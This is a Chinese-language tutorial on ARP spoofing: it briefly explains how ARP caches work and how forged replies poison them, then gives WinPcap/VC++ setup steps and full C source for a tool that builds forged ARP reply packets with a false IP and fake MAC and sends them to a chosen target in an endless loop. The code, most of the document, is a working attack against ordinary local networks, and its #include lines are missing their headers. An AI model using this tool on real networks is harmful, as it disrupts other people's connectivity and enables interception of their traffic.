ARP攻擊就是通過偽造IP地址和MAC地址實現ARP欺騙,能夠在網路中產生大量的ARP通訊量使網路阻塞,攻擊者只要持續不斷的發出偽造的ARP響應包就能更改目標主機ARP快取中的IP-MAC條目,造成網路中斷或中間人攻擊。
ARP攻擊主要是存在於區域網網路中,區域網中若有一臺計算機感染ARP木馬,則感染該ARP木馬的系統將會試圖通過“ARP欺騙”手段截獲所在網路內其它計算機的通訊資訊,並因此造成網內其它計算機的通訊故障。
某機器A要向主機B傳送報文,會查詢本地的ARP快取表,找到B的IP地址對應的MAC地址後,就會進行資料傳輸。如果未找到,則A廣播一個ARP請求報文(攜帶主機A的IP地址Ia——實體地址Pa),請求IP地址為Ib的主機B回答實體地址Pb。網上所有主機包括B都收到ARP請求,但只有主機B識別自己的IP地址,於是向A主機發回一個ARP響應報文。其中就包含有B的MAC地址,A接收到B的應答後,就會更新本地的ARP快取。接著使用這個MAC地址傳送資料(由網絡卡附加MAC地址)。因此,本地快取記憶體的這個ARP表是本地網路流通的基礎,而且這個快取是動態的。
工具/原料
4.0beta1-WpdPack及 vc++6.0
方法/步驟
本程式利用winpacp實現往區域網內發自定義的包,以達到ARP欺騙的目的。首先下載4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不過最新版本需要64位的系統,本人32位系統用不了。直接點選4.0beta1-WinPcap.exe安裝,然後在C:\Program Files\WinPcap下開啟rpcapd.exe服務。然後在VC中,Tools→Options→Directories下配置include和library,將4.0beta1-WpdPack中的include和library庫包含進去,本人把4.0beta1-WpdPack放在D盤根目錄下,結果如下:
然後在Project→Settings→Link→Object/libraryModules,在文字框的末尾新增“wpcap.lib packet.libws2_32.lib”。
第一步:開啟MS dos 輸入ipconfig –all 獲得本機的實體地址和ip地址。本機的Physical Address :D4-3D-7E-20-89-0E,IP Address:192.168.1.102。
第二步:用vc++編譯xiaobo_arp.c檔案,生成xiaobo_arp.exe,然後在桌面上開啟可執行程式如圖6-12內容,在提示下輸入相應的內容,桌面顯示windows ip衝突提醒。如圖6-12所示,一個簡單的ARP測試程式就完成了。
xiaobo_arp.c檔案的內容如下:
#include
#include
#include
int main(){
pcap_if_t *devsin;//define socket interface
pcap_if_t *d;
int i=0,inum=0,j;
char errorbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];
pcap_t *adhandle;
system("title xiaobo_arp");
/* *********************device list ******************************************/
if (pcap_findalldevs(&devsin, errorbuf) == -1){
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errorbuf);
exit(1);
}
/*************************show device list ***********************************/
printf("**************welcome to use xiaobo_arp test*******************\n");
printf("**************Designed by [email protected] *******************\n");
printf("show device list\n");
for(d=devsin; d != NULL; d= d->next){
printf("[%d] %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n\n");
}
if (i == 0){
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return 0;
}
printf("\n***************************************************************************\n");
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
/* changed to adapter*/
for(d=devsin, i=0; i< inum-1 ;d=d->next, i++);
/* open adapter */
if ( (adhandle= pcap_open_live(d->name, 65536, 1,1000, errorbuf )) == NULL){
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
/* realize list */
pcap_freealldevs(devsin);
return -1;
}
printf("please input attacked MAC address(ps:FF-FF-FF-FF-FF-FF)\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",packet,packet+1,packet+2,packet+3,packet+4,packet+5);
/* mac*/
/* src mac */
packet[6]=0x0e;
packet[7]=0x0e;
packet[8]=0X42;
packet[9]=0x00;
packet[10]=0X01;
packet[11]=0x12;
/* 0806 ARP */
packet[12]=0x08;
packet[13]=0x06;
/* 0001 ethernet*/
packet[14]=0x00;
packet[15]=0x01;
/* 0800 IP */
packet[16]=0x08;
packet[17]=0x00;
/*pa length*/
packet[18]=0x06;
/*protrol a length*/
packet[19]=0x04;
/* op,01 request,02 ack */
packet[20]=0x00;
packet[21]=0x02;
for(i=22;i<28;i++)
{
packet[i]=packet[i-16];
}
printf("please input a false ip\n");
scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);
/*dst mac address*/
for(i=32;i<38;i++)
{
packet[i]=packet[i-32];
}
/*des ip */
printf("plese input des ip\n");
scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);
for(j=42;j<60;j++)
{
packet[j]=0x00;
}
/*show data*/
for(i=0;i<60;i++)
{
printf("%x ",packet[i]);
}
//int k=10;
/*send to */
while(1){
pcap_sendpacket(adhandle, packet,60 );
printf("OK\n");
_sleep(1000);
//k--;
}
pcap_close(adhandle);
system("pause");
return 0;
}